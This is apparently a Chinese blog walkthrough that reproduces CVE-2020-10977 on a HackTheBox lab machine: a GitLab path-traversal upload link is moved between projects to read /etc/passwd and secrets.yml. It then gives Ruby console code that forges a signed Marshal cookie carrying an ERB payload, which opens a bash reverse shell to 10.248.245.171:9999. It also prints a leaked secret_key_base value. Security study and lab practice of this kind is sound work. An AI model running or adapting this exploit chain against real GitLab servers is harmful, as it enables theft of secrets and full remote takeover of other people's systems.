首页 > 其他分享 >CVE-2020-10977_GitLab任意文件读取导致RCE漏洞复现

CVE-2020-10977_GitLab任意文件读取导致RCE漏洞复现

时间:2023-10-08 15:22:22浏览次数:52  
标签:GitLab 读取 .. 10977 gitlab 漏洞 secret cookie 2020

CVE-2020-10977_GitLab任意文件读取导致RCE漏洞复现

0x01 环境安装

1
yum -y install policycoreutils openssh-server openssh-clients postfix

分配给虚拟机的物理内存最好是4G。

下载gitlab安装包

安装

1
yum -y install ./gitlab......12_8.1.rpm

修改监听端口

1
2
3
vim /etc/gitlab/gitlab.rb

external_url 'http://localhost:8888'

重置和重启

1
2
3
gitlab-ctl reconfigure

gitlab-ctl restart

第一次进入会提示重置root密码

0x02 任意文件读取漏洞复现

创建两个项目(test1 和 test2

20210309-08:24:52-_By9fIt_O36viF

20210309-08:26:10-_T98qwn_mogzsu

在test1中新建一个issue。

内容为

1
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

20210309-08:27:10-_HGh3yK_MV8ygY

创建好后,将这个issue移动到test2。

20210309-08:27:38-_Be3jaU_f9Ff6H

如果漏洞存在,并且文件有可读权限,就会变成一个链接。因为/etc/passwd被复制到了 /var/opt/gitlab/gitlab-rails/uploads/@hashed/4e/07/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce/ed7e8cddbc49e3746e0b9974b5393d79/passwd
20210309-08:28:08-_lHi6lY_aM20WQ

20210309-08:47:53-_ZpR5vy_FDXJZL

0x03 RCE漏洞复现

根据报告Hackone-Arbitrary file read via the UploadsRewriter when moving and issue内容,需要修改cookie,并且读取目标机器上的secret.yaml,并在本地搭建一个gitlab,将本地的gitlab环境的secret.yaml替换为目标机器上的secret.yaml,然后用gitlab的工具来生成cookie,最后携带这段cookie直接请求目标gitlab环境即可。

这里我受害机环境使用的是HackTheBox靶机Laboratory

步骤1 利用LFI漏洞先读取secrets.yaml,来获取secret_key_base字段。

1
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)

20210309-08:54:20-_VKsHlY_bljjkV

20210309-08:56:00-_JQy17p_AgTtwS

需要将本地的gitlab的secrets.yaml的secret_key_base字段替换为受害机的。

1
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3

20210309-09:06:32-_ZQ8xH0_8WVpIV

替换好之后,进入到radis console

依次输入以下内容,在获取到cookie之前,这些命令会在本机执行一次,所以在拿到cookie之后再监听端口。

1
2
3
4
5
6
7
8
9
10
11
12
request = ActionDispatch::Request.new(Rails.application.env_config)

request.env["action_dispatch.cookies_serializer"] = :marshal

cookies = request.cookie_jar

erb = ERB.new("<%= `bash -c 'bash -i >& /dev/tcp/10.248.245.171/9999 0>&1'` %>")

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)

cookies.signed[:cookie] = depr
puts cookies[:cookie]

20210309-09:19:19-_83wzq5_JvfiZX

20210309-09:19:48-_F09ZMj_JR4sM5

参考

标签:GitLab,读取,..,10977,gitlab,漏洞,secret,cookie,2020
From: https://www.cnblogs.com/websec80/p/17749170.html

相关文章

  • [ACTF2020 新生赛]BackupFile
    原理字符串和数字弱比较问题代码审计目录扫描解题过程进入靶场就让我们找sourcefile,原代码也没其他东西了,只能扫目录了pythondirsearch.py-u3c33c7f9-7306-4c4e-99a6-13b8ef0803b9.node4.buuoj.cn:81--delay=3扫出来index.php.bak文件,下载下来源码为<?phpinclude......
  • [BSidesCF 2020]Had a bad day
    原理文件包含liunx对不存在目录不敏感伪协议利用解题过程进入靶场可以看到两个按钮,点其中一个,会传递category参数,然后会出现随机图片,两个按钮的参数值不一样,查看页面原代码证实了这样的操作试试修改category值,发现只让有两个值其中一个那再修改参数值,发现涉及include函......
  • [网鼎杯 2020 朱雀组]phpweb
    原理反序列化命令执行call_user_func解题过程首先进入靶场莫名其妙报了个错,翻译一下是date()函数的问题--不管了,先看页面原代码看到这里有自动post请求,数据时func=date&p=Y-m-dh:i:sa,看格式像是传入一个函数和参数,那就试试使用func=system&p=ls却发现过滤了,尝试了很多......
  • k8s部署jenkins+gitlab实现代码发布
     1.#k8s部署jenkins#k8s中运行jenkins服务,gitlab还是跑在物理机上,因为经常需要clone修改代码。#基于java命令,运⾏javawar包或jar包,本次以jenkins.war包部署⽅式为例,jenkins的数据保存⾄外部存储(NFS或者PVC)。1.1#镜像⽬录⽂件:#pwd/opt/k8s-data/docke......
  • 文本分类 2018-2020 文献分析
    文本分类转自https://mp.weixin.qq.com/s/0hKzedHimfPtWgzEk49YzAhttps://mp.weixin.qq.com/s/0hKzedHimfPtWgzEk49YzA ASurveyonTextClassification:FromShallowtoDeepLearning,2020[1]     2018Multi-grainedattentionnetworkforaspect-level......
  • CentOS环境:离线安装配置gitlab(适用于内网环境)
    前言:  此篇是为了完结真实的物理隔离环境下、验证yum缓存的文件包安装配置是否成功,对上篇在线安装文章的补充。1.互联网电脑环境准备1.1电脑环境配置信息IP:192.168.31.164OS:CentOSLinuxrelease7.9.2009(Core)1.2清除yum的rpm包缓存数据包清除前的数据记录:[root@bdlab......
  • Gitlab管理员忘记密码
    目录Gitlab管理员忘记密码一、背景二、邮箱方式找回1.在gitlab登录窗口2.输入邮箱账号找回3.重设密码三、Bash命令方式找回1.切换到git用户2.查看gitlab命令文件3.进入gitlab控制台4.查询gitlab超级管理员信息4.重置密码并报存用户对象5.返回gitlab登录界面重新登录Gitlab管理员......
  • gitlab如何快速拉取项目到本地?
      拉取git项目到本地只需要6步:  1、查看本地的rsa。  指令:cat~/.ssh/id_rsa.pub  2、复制结果输入以上指令会出现以下结果  3、git搜索SSH,找到SSHKey,添加新的key  4、找到新的文件夹,gitbashhere  5、克隆对应项目ssh  6、回到Bash输入gitc......
  • 2023牛客国庆集训派对day8/牛客2020年暑期多校day8
    Preface妈的多校都是些什么题啊,一场比赛后三小时全程啥也干不了只能划划水,最后开榜就看手速排名,给他唐完了这场开场和前期久违地顺利,按难度开了三道签到后队里讨论了下秒出了A的正解我爬上去摸了会虽然nt错误频发WA了两发,但后面还是成功抢到了A题的一血,同时徐神和祁神坐在下面......
  • 【题解】洛谷#P7073 [CSP-J2020] 表达式
    【题解】洛谷#P7073[CSP-J2020]表达式Description给定一个逻辑表达式和其中每一个操作数的初始取值后,再取反某一个操作数的值时,求出原表达式的值。表达式将采用后缀表达式的方式输入。Solution根据题目可得,当取反一个操作数的值时,整个表达式大体只有变与不变两种情况,而往下......